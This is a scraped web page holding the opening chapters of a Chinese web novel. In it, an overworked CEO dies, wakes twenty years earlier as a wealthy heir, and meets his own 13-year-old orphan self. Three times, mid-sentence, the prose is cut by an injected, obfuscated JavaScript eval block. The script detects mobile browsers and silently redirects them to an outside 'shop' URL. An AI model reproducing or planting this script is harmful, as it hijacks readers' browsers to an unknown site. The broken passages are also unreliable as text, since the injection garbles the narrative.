《回到过去养自己》 1. 第 1 章 1 夜十一点,华越传媒总裁办仍亮着灯。 偌大的会议室内静得落针可闻,公司一众高层默默低着头,仅有主位上男人修长大手翻动企划书的声响。 这位CEO相当年轻,不到35岁就坐到了万人艳羡的高位,一身高定深色西装衬得他肤色冷白,五官更是比旗下许多男艺人出挑。 只是让人惋惜的是,男人身下是一把做工精良的轮椅,即便他双腿修长,却永远失去了站立的可能。 不过当下,谁也没心思观察boss的美貌与缺憾,大家只是在心中读着秒。 这次没有超过三十秒。 “啪”的一声,厚厚一沓文件被扔回到桌面上。 其中一页散落出来,那行“重生之我是Daddy Long-Legs”的抖机灵文字格外显眼。 “五天时间,你们就给我看这个?”男人声线冷冽,不带半分温度,“重做。” 他的批评向来不留情面,好不容易散会,所有人都如蒙大赦,活像丢了半条魂,飘着逃离这个窒息的空间。 “简直就是魔鬼啊。” “Boss真能卷,他咋一点儿都不累呢?我都快成一具尸体了。” “要不是年终奖给20个,我早跑了。” 会议室内只剩下陆洄一个人。 他向后靠在轮椅椅背,手指捻了捻发紧的眉心,感觉疲惫快要将他吞噬。 他太累了。 助理推门进来,犹豫半天,才小心翼翼提醒:“陆总,您已经快三天没合眼了,要不...” 陆洄微颔首,终于同意回家休息。 漆黑的迈巴赫已经候在楼下,车门自动打开,落下无障碍踏板,电动轮椅带着陆洄顺畅地滑入后座。 车子驶入繁华都市灯火辉煌的夜,随车流过桥的时候,河面上突然绽放出大束大束的烟花。 桥边的栏杆上,数不清的年轻男女正聚在一起,有许多明显还是初高中生的年纪,他们笑闹推搡着,扯起嗓子在倒数—— 一切全被品质极佳的暗色车窗玻璃隔绝在外,成了一副画面陌生而遥远的默剧。 “今天是跨年夜,马上又是新的一年了。”前方,向来寡言的司机笑着说,“我给媳妇儿小孩都准备了礼物,他们啊,最爱凑这种热闹。” 陆洄却根本管不上什么节,他只感到困扰了他一天的头痛在加剧。 下车前,他给司机发了丰厚惊人的开年红包,约定明早八点再来接他。 回到两层半的空旷独栋住宅,灯全点着,却无人上前迎接,陆洄这才想起,是他遣散了家里唯一的佣人,让他放元旦假去了。 陆洄喜欢安静,一直独来独往,如果不是因为身体上的不便,他甚至不会请那位帮佣。 凭着严格的生活习惯,他强撑着去洗漱清洁。 当强烈的眩晕忽然袭来,陆洄重重摔坐在浴室冰冷湿滑的瓷砖地上,他挣扎着想找常备的药,胸口却骤然传来压榨式的疼痛。 不好... 不过几秒,视线已变得漆黑,他浑身就像那双坏腿一样无力,整个人仿佛沉入了幽深的海水里。 等等,为什么会是海水? 这种在水中窒息的感受并不陌生,来自海洋的咸味肆无忌惮地灌入鼻腔,陆洄早就没有余力挣扎,索性就这么沉沉睡过去。 他太疲惫了,如果能就这么一直睡下去,好像也不坏... 唯一能让他惦记的,也就是摆在窗台上的那几盆多肉了。 不知过了多久。 胸腔处忽而传来炸裂的痛感,陆洄没忍住哼了一声,神智逐渐恢复清晰。 “放心,没有大碍,只是轻微溺水,幸亏捞起来的早。” 陆洄努力尝试着睁开眼—— “醒了醒了!我们家小贺少爷醒了!” 一个惊喜万分,甚至还带着哭腔的声音高喊道。 陆洄的双眼刚接触到光,几个完全陌生的脑袋就竞相闯入视线。 “真的醒了!谢天谢地!你们都快过来看啊!” 没过一会儿,床边就围满了人,他们全穿着英伦庄园式的佣人制服,每个人的眼睛里都含着泪水,面上写满了后怕与惊喜。 从出事起,女仆长何妈就哭没停过,到现在一双眼肿得像核桃。 她在贺家干了大半辈子,亲眼看着贺少爷出生长大,比看自己的娃还亲。 她挤在最前面,拉过陆洄的手说:“你说你要是有个三长两短,我们怎么向死去的老爷太太交代啊?昨天那么大的风,你偏要一个人跑去冲浪,谁劝都不听...” 陆洄几乎没被人这样拉过手,热乎粗糙的触感让他极其不适应,他下意识就挣开了。 何妈愣了愣,只当他又闹少爷脾气,立马软了语气:“好好好,何妈不该说你的。”顿了顿,她偏又要补充道:“不就是查出无精症吗,只是断了后,又不是断了腿。” 陆洄:“?” “是啊,要是实在想要孩子,还可以去领养一个嘛。”旁边的佣人附和道,“家里头的千亿资产,总得有个人来继承。” “那领养我呗!小贺少爷,从今天起,您就是我的爸爸了!哈哈我开玩笑啦!” “都安静点,少爷刚醒,别吵着他。”管家模样的男人沉声呵斥。 这一屋子吵吵嚷嚷,让陆洄头又疼了起来,他不明白这是梦境还是现实——他分明记得,自己已经死了。 在跨年夜的晚上,由于过劳独自猝死在家。 这对他来说,还真是个毫不意外的悲惨结局。 “你们都出去吧。”陆洄开口,声音带着刚醒的沙哑,“我想一个人静静。” 佣人们虽然担心,但不敢违背主人命令,只有依次轻手轻脚地退出了房间。 管家走在最后,离开前礼貌地鞠了一躬:“少爷如果有任何不舒服,请随时按铃,我会马上请医生进来。” 房门被小心地关上了。 世界瞬间清静,陆洄终于得以仔细打量自己身处的环境。 这里并不是医院,而是某个年轻富有的男人的卧室。 陆洄尝试着坐起,发现身体比想象中要有劲,不像死了,尤其是— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486000|202010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' — 他低头看向冰丝绸短睡裤下露出的双腿,它们修长而健壮,颜色是相当健康的小麦色。 这怎么可能?陆洄眼里终于划过惊异。 他右手顺着膝盖慢慢向下摸去,小腿侧面的肌肉线条随他动作轻微绷紧,中段以下的位置要偏白一些,大概是穿过运动长袜。 在过去,陆洄那双腿尽管不是完全没知觉,但也因为常年不能行走,导致肌肉萎缩得厉害,即便聘请专业的医师辅助训练,它们也不可控地变得像两根筷子,薄皮包着骨头。 因为那双腿的情状,他无缘少年时期最爱的各种体育运动,平时也永远穿长裤示人。 当下,陆洄心跳开始加快,因为他尝试着移动双腿。 靠着肌肉记忆,他轻而易举就完成了两组弯曲伸直,而这么一个简单的动作,他过去往往需要半分钟。 陆洄决定下床,他需要找一面镜子。 他动作缓慢地趿过羊皮拖鞋,走过近300平的主卧,去找浴室。 这并不难,因为在梦里,他从没忘记过怎样行走。 陆洄最终在白玉石铺就的洗漱台前停下了脚步。 到这一刻,他心里已经确信。毕竟他在员工递交的企划书里读过类似的剧本——他死而复生,成了所谓的“小贺少爷”。 他缓缓抬眸。 有那么一瞬,陆洄甚至以为自己看见的是一副油画。 自然光照耀下,面前的玻璃镜里站着的,是一位容貌俊美、气质矜贵的陌生男人,他年龄大约二十多岁,拥有一头披散下来长过下颌线的浅金色头发,眼眸深邃呈琥珀色,眉目间是似有若无的忧郁深情,就像欧洲庄园里不谙世事、一心热衷于鲜花、音乐、风景画与诗的贵族少爷。 他此刻穿着一件睡得微皱的冰丝绸睡衣,领口若无其事地敞开着,坦露出年轻而饱满的胸脯,显然就在不久之前,这副身体的主人曾无所顾忌地让它沐浴日光,他的肌肤因而被晒成了蜜色,双颊和前胸都微微泛红。 除此之外,他的腿在视觉上看显得很长,身材的比例相当优越,简直像芭蕾舞演员。 陆洄喉结轻微滑动,意识过来的时候,他的手已经触上面前的玻璃镜了。 镜中的身影也以一模一样的姿势,触碰着他的掌心。 他刚刚苏醒,时间是早晨,这大概非常正常,他产生了一些…生理上的健康反应。 陆洄轻阖双眼缓解这种感觉,与此同时,一阵湿热而带着咸味的风从侧面的窗户猛灌了进来,短暂地转移了他的视线。 他走过去,透过落地窗,从类似半山腰的高处,向下看见了记忆中难以忘怀的海岸线。 这里...居然是他童年和少年时期生活过的海滨城市。 不仅如此。 海风同时还掀动着放在边桌上的精致台历,月份日期被哗啦啦地往前吹,但年份并不会变。 他目光不可置信地落回到海岸线上,看向那些低矮的楼房——经济飞速繁荣建起的那些摩天大楼,目前还不见踪影。 “我回到了...二十年前。”陆洄喃喃道。 2. 第 2 章 2 陆洄用一天时间,大致摸清了眼前的状况。 这还要多亏了原主爱写日记。 他这副身体的原主名叫贺知叙,今年24岁,出生于当时数一数二的富豪家庭,作为贺家独苗,自幼过着锦衣玉食0烦恼的生活,被父母和自家佣人几乎宠成了胚胎。 直到两年前一场直升机事故,他父母同时葬身火海,他猝不及防,成了这个家唯一的主人。 贺知叙嗷嗷大哭以后咬牙振作,提前继承了庞大惊人的家业。 可惜他是个彻头彻尾的快乐笨蛋,对经营和投资的事一窍不通,每天都在当赔钱货,老鼠路过都能从他兜里顺走五百块钱。 不过,小贺少爷虽然缺了点慧根,但贵在有自知之明,他意识到自己生来就只擅长花钱与享乐,计划把打理家业的麻烦事儿拱手让人。 因为贺家人丁不旺,亲属基本都在大洋彼岸当贵族当咸鱼,小贺少爷思来想去,最合适最值得信任的人选,自然是自己的血脉。 贺知叙家境和外貌条件都极端优越,不愁找结婚对象,当场把烟酒都戒了,饮食上控油控糖,每天早睡早起,锻炼出了八块腹肌,还熟读育儿经与儿童心理学,为养崽做了很多准备。 结果就在一周前,贺知叙心血来潮,跑到私家医院里做了一次全方位的备孕体检。 被查出了无精症。 看着检查报告上那一串0,小贺少爷天塌了,又是一顿嗷嗷哭,昨天心情实在太憋闷,只好抱着冲浪板就奔向了家楼下的海滩。 人刚冲出去,一个浪头就把他给打翻了。 陆洄大概就是在这个时间点,接替了贺知叙的这具身体。 同时也接手了泼天的财富、显赫的社会地位,以及这座如同城堡般的海滨豪宅。 这听起来未免有些讽刺,他上辈子那样拼死努力,连睡眠时间都舍弃了,但估计就是终其一生,也达不到现如今的百分之一。 对有些人而言,富足和爱是与生俱来的馈赠。 但这一切都不再重要了。至少此刻,他重新拥有了健康的双腿,决定好好享用自己的新人生。 陆洄有足够的信心,能比之前的贺知叙更懂得合理利用手上的财富和资源。 他是幸运的,命运给了他与过去的一切做彻底切割的机会。 正这么想着的时候。 只听“叩、叩”两声,书房的门被礼貌地敲响了。 陆洄把日记收回抽屉,随手拿过旁边另一本书,沉声道:“进来。” 这会儿天色已近黄昏,陆洄原以为是佣人请他用晚餐,结果推门进来的却是管家钟秉诚。 钟秉诚大约四十多岁年纪,从少年时期就在贺家工作,跟已故的老爷有很深的感情。 为了家里这个可怜孤独的小少爷,钟秉诚没少操心,几乎愁白了脑袋。 此刻,他抬头看向坐在书桌后的贺少爷,先是微微一怔。 贺知叙自幼无拘无束惯了,在家更是没点儿正形,喜欢把脚晾在书桌上,端着手机打游戏,一刷短视频就嘿嘿傻笑。 然而现在,少爷就跟换了个人似的,正安静地端坐在那里,垂眸读着书。 落日橘红的光透过他身后的落地窗,柔和地融进他浅金色的头发丝里,以及上衣的褶皱里,就像一幅画那样美好。 “抱歉打扰少爷读书了。”钟秉诚下意识将声音放轻,匆匆汇报了几件家事。 无非是几位世交和旁支远亲听闻少爷溺水,特意致电慰问关心的。 至于这些关心是真情还是假意,就不得而知了。 “嗯。”陆洄淡淡应道,随手翻了一页,用的还是之前工作时的语气,“知道了。” 钟秉诚心中越发惊异。在他印象里,小贺少爷简直像一把聒噪的喇叭,很少有如今这种惜字如金的状态。 想来是近期接连变故,把少爷打击得都变了性子。 再看看小贺少爷正在读的那本书吧,钟秉诚心情沉重地看向书名:《好爸爸胜过好老师》,他原本该是多么憧憬能有个孩子啊。 想到孩子,钟秉诚瞬间记起要事,忙恭敬道:“少爷,有件事您或许还记得...这周六,您需要代替过世的老爷,以董事身份出席温暖之家的中秋晚会。徐院长特意寄来了感恩包裹和邀请函,说院里的孩子们都盼望着见贺董事一面。” 他说着,低头从口袋里取出信封,因而错过了对方忽然变得僵硬异样的神色。 陆洄目光死死定在书页一角,听见“温暖之家”四个字的刹那,他反倒是大脑一片冰凉,过往的记忆如潮水般涌来,连带着身体都泛起闪回带来的生理性不适。 是啊,他早该想到的。 他回到了自己曾经居住过的城市,回到了二十年前,那个时候,温暖之家还没被拆除,13岁的他还被迫蜷缩着身体,睡在那张被虫蛀过的木板小床上。 也就是说,他目前和过去的自己,身处于同一时空? 这种科幻剧里才有的事情,居然真就这么发生了。 由于他现在穿成了另一个人,陆洄认为自己不会受到时空悖论的影响,他也许可以和小时候的自己碰面。 但如果可以,他这辈子都不愿再踏足温暖之家半步。 陆洄又翻了一页书,强行切断了自己的联想。 他重新听见钟秉诚继续说道:“少爷若想培养合适的继承人,其实可以沿用我们之前商议的方案。只需要从孤儿里精心挑选一个孩子,资助他读书,等养成以后,就能让他代替您上班打理家族业务了,这新鲜血液,活儿肯定干得又快又好。” 一年为公司创收过亿,最后把命也搭上了的顶级牛马陆洄:“……” 简直是直接报他身份证号啊。 他发誓等他再死第二次的那天,他会散了贺家所有的财产,让大家实现共同富裕。 “谢谢你的提案,”陆洄还是维持了表面上的平静,“关于继承人和中秋节的事,我都会考虑。” “好的,少爷。”钟秉诚应道。 按照以往,主仆间的对话就该结束了,钟秉诚正要退出书房,又被喊住。 “钟叔,还有件事。”陆洄说。 “少爷您尽管吩咐。”钟秉诚忙转回身来,毕恭毕敬道。 “以前,我做过许多不成熟的傻事,这次溺水醒来,我觉得自己就好像重获新生。”陆洄语气平静,“既然我父母已经不在了,以后,就直接喊我老爷吧。” 钟秉诚微微一愣,与眼前英俊的青年目光相接,对方的眼神成熟凛冽,恍惚之中,他就好像回到了贺老爷还在的时候。 “是。”钟秉诚将心头的忧伤拂去,他为自己的迟钝越矩感到羞愧,也暗暗感慨贺知叙是真长大了。 意外掉进海里,这水泡得是真值啊。 他感动地深深低下头去,主动改口道:“老爷。” “嗯,你出去吧。”陆洄眉眼微松,对这个新称呼满意了。 …… 按照以往,贺家的晚餐是在能看见海的露台上吃的。 但陆洄却吩咐佣人把食物和餐具都搬进室内,他不喜欢在用餐的时候闻着海风的咸味。 为了不让佣人们觉得奇怪,陆洄只简单解释说:“外面太冷。” 时间是九月,已经算入秋,佣人们深以为然,手脚麻利地转移了餐桌。 佣人们在旁服侍,从没见过谁把一顿饭吃得如此安静,空气中只有餐具悦耳的碰撞声。 等晚餐结束,陆洄回屋里去,在走廊上迎面撞上抱着巨大纸箱的年轻女佣小田。 “少...老爷!”小田显然刚适应新称呼,“您来的正好!我正想把它送去给您...啊您不用担心,我们已经检查过一遍了,里边没有奇怪的东西。” “这是什么?”陆洄看出箱子很沉,下意识就伸手接过了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486001|202010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是温暖之家寄来的感恩包裹呀。”小田弯眼笑了,“里边都是孩子们送给您的小礼物,特别可爱。” “是吗。”陆洄随口答道,没表露出明显的兴致。 小田却挥舞着胳膊说:“我费了九牛二虎之力,把它一口气从楼下抱上来的。我刚才看您吃饭的时候很没精神,我就想着...说不定您看了以后,心情能好转一些儿呢。” 她说这话时有点脸红,陆洄能看出来,她是真的生怕自己想不通再去跳海。 “谢谢。”这句话,更多是代替贺知叙说的。 小田肉眼可见的开心到爆炸,双手把围裙的下摆都揉得皱巴巴的,她大声而开朗地回应道:“不客气少、老爷,我们都很感谢你还活着!” 陆洄还是头一回听人为这个道谢的,难免有些愣怔。 小田来去匆匆,他于是抱着纸箱回了书房。 箱子被搁在书桌上,陆洄翻看了一会儿贺家去年的财报,始终心绪不定。 终于大手一伸,把纸箱拿到面前来。 孤儿院里的孩子会送什么礼物,他大致能猜想到——孩子们手里没有一分钱,礼物无非是简笔画、海边捡的石头贝壳、贺卡和感谢信等。 每件礼物都标注着孩子的姓名。 陆洄百无聊赖地翻看着,他承认,他的确有几分好奇,十三岁的自己会送什么。 最有可能是什么也不送。 陆洄的母亲曾是位出身穷困的舞女,被有钱的公子哥欺骗了感情,才意外生下了陆洄。 这段不幸的经历最终压垮了陆洄的母亲,也给陆洄的童年带来了许多不快。 因此他当时对富人没有好印象,自然也很难从心底里喜欢上来院里的那些董事。 他对“贺董事”这个人更是毫无记忆,大概是因为在原来的时间线里,贺知叙跑去冲浪时真被淹死了。 果不其然,一直翻到箱底,陆洄也没找到自己送的礼物。 不知感恩的家伙—— 竟是我自己。 陆洄把所有东西一股脑塞回纸箱里去。 一张白惨惨的折叠卡片,在这时轻飘飘地掉落在木地板上。 它刚才一定是和其他卡片粘在了一起,所以才被陆洄忽略了。 他俯身捡起,颇意外地看见,纸面上很端正地写着“陆洄”两个字。 笔画工整有力,但一看就知道是小孩的字迹,与他现在的字有极大的差别。 原来有准备贺卡啊,写的什么? 二十年前写下的文字,被二十年后的自己阅读,这种体验无疑是特殊的,就像无意中打开了一枚时间胶囊。 陆洄怀着芝麻大的期待,毫无防备地翻开—— 一张放大版的卡通简笔画蛇脸忽然出现,折叠的蛇信子pia一下弹射到陆洄的脸颊上! 陆洄瞬间拉直了背脊。 “…………” 好,小,子。 这一年正好是蛇年,按理说,没有人会责难一个在卡片里画Q版蛇的小孩儿。 陆洄却心知肚明,自己以前最害怕的就是蛇,偷摸画这幅画肯定都费了天大的劲儿,这分明是个恶趣味拉满的整蛊玩具。 只可惜,13岁的他大概料想不到,长大后的自己,早就不怕蛇了。 陆洄微微眯缝起狭长双眼,这么多年来,他见惯了名利场上的尔虞我诈,自认早已变得处事不惊,情绪稳定。 但他还是无可否认,此时此刻...他有被自己气到。 并且是气笑了。 他盯着那张夸张丑陋的蛇脸,看了片刻,忽然低低地嗤笑了一声。 陆洄用力合上卡片,顺手拿起内线电话,打给钟秉诚。 “钟叔,关于中秋晚会的事,麻烦替我回绝邀请,我不会去温暖之家。”陆洄语气平静,丝毫不见愠意。 顿了有一会儿,他才重新补充道:“让所有孩子到贺家来。” 3. 第 3 章 3 不出三天时间,贺家这幢位于海边的豪宅,已经按照主人的要求装饰一新。 中秋当天下午两点,天气晴好,一辆双层大巴载着温暖之家的所有孩子,出现在巨大的西式别墅面前。 孩子们早早就趴在车窗上看,车还没停稳,车内就已是“哇”声一片。 他们有生以来,第一次见这么大的房子,漂亮得宛如童话中的城堡,墙面雪白无暇,屋顶则是由灰蓝色的石砖砌成,最大的落地窗有两层楼高,被精致窗格切分得像剔透的钻石。 车门打开,大大小小的孩子争先恐后跑出来,在佣人的指引下,踏入奢华梦幻的城堡。 庭院里,随处挂满了复古灯饰,九月眼看就要结束,孩子们却惊异地看见,他们脚边铺满了开得正好的鲜花——奶油玫瑰、洋桔梗、晚香玉...它们全都漂洋过海而来,仿佛只为了在今晚尽情盛放,为空气中增添一抹静雅的芬芳。 踩着大理石台阶进入屋内,里面的景象比外面更引人惊叹。 但孩子们都停止了喧哗,因为在活动开始之前,他们被吩咐排着长长的队伍,按顺序一个接一个的进入贺董事的书房。 书房位于二楼深处,孩子们沿着蜿蜒的楼梯,队伍几乎排到了一楼大厅。 每个孩子需要礼貌地敲敲门,在老师的陪同下进去,随后通常不到三分钟就会出来。 就是贺家的佣人们,也没完全理解主人的真实用意。 如果是想选个合适的继承人,这接触时间未免太短了点。 孩子们更是一头雾水,排着长队,几乎每个人心里都好奇又期待。 每当有前面的孩子出来,队伍后面的孩子就忍不住打听起来—— “嗨嗨嗨,里面到底有什么好东西?为什么这么神秘兮兮的啊。” “只有贺叔叔,他是之前那个贺叔叔的小孩。” “啊?他也是小孩?” “不是啊,他好大一只的。” “他怎么样呢,好相处吗?” “不知道...他不说话,也不理我,就送了我这个。” “我靠四驱车!!!那他是好人!” “切,有钱人笼络人心的手段罢了,我才不稀罕。” “也有芭比套装、拍立得、对讲机和拓麻歌子之类的可以选哦。” “………哇,那他是好人。” “你们没救了,埋了吧。” “不过,我想不明白,他为什么不出来见我们所有人呢?” “可能是害羞吧。” “为什么?他长得很丑吗?是不是就像巨人的花园一样。” “才没有呢,我觉得贺叔叔二代长得很好看。” “我不信,能好看到哪儿去?” 排在最前的孩子被念到了名字,走上前去敲门,握成拳头的小手抖得厉害。 厚重的木门隔音效果极好,他们谁也听不见里边的动静。 隔了几秒钟,他们熟悉的生活老师把门打开了,轻声说:“进来吧。” 书房里,陆洄...也许现在叫贺知叙更合适,总之贺知叙已经就这么坐了有快一个小时了。 他并不是一个擅长应付小孩的人,在过去那几十分钟里,进来的小孩情态各异,有的疯狂问他十万个为什么,有的硬要展示才艺,还有说为他创作了一首诗,要念给他听的。 但孩子们也有共同之处,那就是他们每个都面黄肌瘦,明显营养不良。 温暖之家是一所民营孤儿院,原定的规模并不大,如今却收容了近70个孩子。 孤儿数量增多,与这座海滨城市的发展密切相关。这几年正值经济崛起初期,大量需要劳力的产业引来了无数年轻的务工人员,他们在这座陌生城市里相遇相爱,顺其自然地生下孩子,却往往没有余力抚养,只能遗弃。 温暖之家的徐院长是位热心肠的妇女,愿意接纳每一个无家可归的孩子,但她年事渐高,在管理维护上十分吃力,孤儿院没两年就陷入了资金严重不足的状态。 贺知叙正好成了最能救其水火之中的有钱董事。 他都能猜想到,今天出发之前,孩子们肯定被老师们反复耳提命面,见面了要对贺叔叔礼貌讨好,千万不能这样那样。 孤儿们虽说要比普通家庭的孩子懂事,但孩子到底是孩子,紧张害怕了就会情绪外露,就会迎来大爆发。 比如说现在—— 由于过分沉默寡言,贺知叙不慎吓哭了第五个小孩。 竭力压抑又压抑不住的无助哭声充斥书房,幸好老师就在旁边,及时把一个变身器塞进孩子手里,让这个可怜无辜的孩子停了哭泣。 “真的很对不起,他们昨晚上都太兴奋了,没睡好觉。”老师慌忙道歉说。 “没事。”贺知叙摆手,示意她不要责怪小孩。 老师很快陪着一起出去了,房门关上。 贺知叙疲倦得眼睫落了落,原来hr的工作要比CEO的累多了。 他内心甚至闪过几分后悔,认为不该搞这种1v1会面,但是如果真要他同时面对一群孩子,那还是这样的方式更好接受。 他的书房也就重新安静了十几秒钟。 背后落地窗外的流云被微风缓缓送来,房间里的光线变得比之前黯淡了几个度。 “叩、叩”,门再次被敲响了。 这回那位老师不在,贺知叙花了两秒钟时间调整状态,然后沉声道:“进来。” 于是,在他毫无准备预料之下,他的门把手被一只瘦小苍白、带着明显伤痕的手拉开了。 一个静默的身影走了进来。 贺知叙正好缓缓抬起眼眸,就这么与进门的少年对上了视线。 准确来说,是与只有13岁的,双腿暂时还很健全的他自己。 他们身处的环境仿佛变得比刚才更安静,在这个短暂而猝不及防的刹那,空气中的细小尘埃都仿佛停止了舞动。 贺知叙并不像往常那样淡定,真正和年少时期的自己碰面,他的心跳还是加快了一点儿。 在他过往的人生里,他几乎没有试过,以这种第三视角仔细地观察过自己。 那是一个比想象中要瘦削更多的孩子,肤色苍白,头发被理得很短,五官和脸蛋虽然还留有属于儿童的稚嫩感,但已经不太能被贺知叙称赞可爱了。 他的脸边上贴着皱巴巴的创口贴,这让他看上去像个不良少年,他本人似乎也有意识地营造一种凶狠、不好惹的第一印象,眉一直紧拧着,就好像在和空气较劲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486002|202010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 13岁的陆洄明显还没迎来发育期,个子比同龄男孩要矮些,身上随意套着一件松松垮垮、明显大一号不合身的单扣长袖上衣,底下则是初中的校服裤,一双学校升旗仪式时全校学生统一必备的白布鞋。 贺知叙对那件上衣印象最深,它是爱心捐赠的二手衣物,刚开始收到时自己很是喜欢,觉得它就像幽灵的披风,很酷。 但透过贺知叙如今成人的双眼,他只能看出那件衣服的泛黄与破旧,甚至能看见劣质衣料上残留的霉斑,看见袖口墨水和颜料的痕迹、手洗后强硬拧干留下的皱褶,以及靠近衣摆下面的那个即将生成的破洞。 室内光线明明很暗,尤其是靠近门的那边,这导致面前少年的大半身影,几乎都隐藏在阴影里。 然而此时此刻,那些他曾经最怕被人觉察的一切,却全被暴露在贺知叙的眼皮底下,一览无余。 也许有一部分是他确切肉眼所见,还有一部分,则是他的大脑刻意放大了让他看见的。 不管是哪一种,它们都让贺知叙不自觉感到咽喉发紧,头脑里像流淌过彻骨冰凉的海水,只一秒钟,寒意便开始顺着脊椎向四肢蔓延开来,他竟然对着13岁的自己,产生了瞬间的恐惧与不适,几乎是想尽快移开视线。 他的私人医生告诉过他,这是一种情感闪回的体验,当它发生时,只需要让自己慢慢地回到当下。 回到安全稳定,无人能伤及他半分的当下就好。 贺知叙熟练地让自己的注意力落在脚下的木地板,以及身前坚实厚重的书桌上。 很快的,也就短短几秒,那种极端不舒服的感受就都退去了。 他于是目光重新回到13岁的陆洄脸上,才发觉对方也跟自己一样,花了许多时间做观察游戏。 对方站着,自己坐着,两个人隔着上十步远的距离,恰好能做到视线平齐。 尚且年少的陆洄此刻正睁着漆黑的双眼,一瞬不瞬地看过来,也许是因为贺董事沉默的时间过长,那双眼睛里逐渐暴露出了警惕和不自在。 简直就好像有人把恶犬和另一头未知而庞大的动物,突然关进了同一个笼子里。 贺知叙清楚自己的脾性,非必要的时候,他很少主动向陌生人搭话,完全能做到不声不响地耗完这会面的三分钟。 他决定亲自掌控这个沉默的局面。 于是沉声开口,对小时候的自己说:“过来。” 声线控制得有些冷,没有暴露出任何情绪。 这两个字说出来,贺知叙就略感不妥,因为直到现在,他也很不喜欢别人用命令句式和自己说话。 更别提小时候血气方刚、偏偏又讨厌富人的自己。 奈何贺知叙在工作中已经养成了习惯,如果不用这种句式,有部分下属是无法意识到情况紧迫性的。 果然,他看见13岁的陆洄轻微拧起了眉,表情明显是不爽了。 嘴稍微一张,大概率就要说出一些不够有礼貌、要挨院长老师批评惩罚的话—— 但贺知叙亲眼看见,那嘴竟然毫无征兆又合上了,变成了一条两边微微往下拽的弧线。 少年只静静看了眼他的脸,表情依然有几分凶狠。 紧接着,他保持着原本不声不响的状态,一步步朝他走了过来。 4. 第 4 章 4 13岁的陆洄一口气走进空气清新的室外。 初秋午后的阳光仍旧灿烂,光落在他瘦窄的肩膀上,能轻易穿透单薄的上衣,给肌肤带来一层朦胧的暖意。 温暖之家的孩子们大都结束了会面,这会儿聚在贺叔叔的庭院里,借着新得来的礼物奔跑打闹。 “陆哥这边!我们都等你好久了!”一道熟悉的声音从右边扑来。 徐智聪隔了大老远,看见陆洄活像见了偶像,屁颠屁颠跑了过来。 手里还高举着一个迪迦变身器。 他是个脸上长雀斑的瘦小男孩儿,比陆洄小两岁,人远远不如其名。 自从陆洄某次路过斗殴现场,顺手把他给拎了出来,他就成了陆洄的小跟班。 之一。 “你怎么出来这么晚啊?待会那些好吃的都给抢完了。”徐智聪顿了顿,露出泥腿子的嘿嘿一笑:“不过,我让兄弟们给你留了。” 陆洄手揣在校服裤兜里,漫不经心地应了一声:“嗯。” 随后抬眼冷漠看他:“别光惦记着吃,正事办了吗?” 徐智聪第无数次觉得陆哥好酷好酷,因为他和别的孩子都不一样,对零食和玩具都没兴趣,而是...很有头脑。 “哎呀没忘没忘,都留意着呢。”徐智聪靠近两步,压低声音隐秘道:“可以薅的家伙不少哟,这个贺叔叔家里果然富得流油。” 他掰着手指细数起来:进口巧克力、散装夹心软糖、香氛瓶、蜡烛、巨巨巨厚一沓湿纸巾、不知道干啥用的牙线棒...陆哥教过几遍了,只要是摆在自助餐台上的,统统可以打包带走!转头略微加工,都拿去卖个好价钱! “知道了,离我远点儿,你臭臭的。”陆洄嫌弃地偏开头。 “啊...我臭吗?”徐智聪一脸懵,揪起衣服下摆使劲嗅了嗅,咕哝道:“那个贺叔叔的书房,倒是闻着挺香的,你一定是刚从那里出来,所以说我是臭的。” 这话成功让徐智聪稍微对得起一点儿他的名字了。 但陆洄轻微挑眉,不置可否。 “我其实觉得吧,贺叔叔看着不像是坏人。”徐智聪小心翼翼地说,“...陆哥你觉得呢?” “你被他的外表迷惑了。”陆洄面无表情道。 徐智聪顿时作恍然大悟状,疯狂拍马屁说陆哥果然还是太权威了,教会了他不能以貌取人,但硬要比谁更帅的话,自然是陆哥天下第一! 陆洄没再理会他,径直快步走在前面,任谁也猜不到,他脑海中仍在重复播放刚才那一幕。 贺叔叔的那个书房相当宽敞,比温暖之家里容纳四十个小孩的卧室还要大,两面都开有窗户。 那位贺叔叔就坐在旁边那扇窗户洒进的柔光里,坐姿端正,气质优雅,干净得不像现实中存在的人。 说实话,在陆洄印象里,温暖之家的男董事都是上了年纪的中年大叔,辛苦奋斗了半辈子,也胡吃海喝了半辈子,基本都成了地中海,大腹便便,笑起来还会露出金牙,身上永远带着酒味。 但眼前的贺董事,却大大超乎了他的想象。 对方微卷的金发丝里镶嵌着阳光,棕眸深邃温和,白衬衫熨帖合身,领口为了不显严肃微微敞开着,很自然地坦露出成年男性被晒成蜜色的健康肌肤。 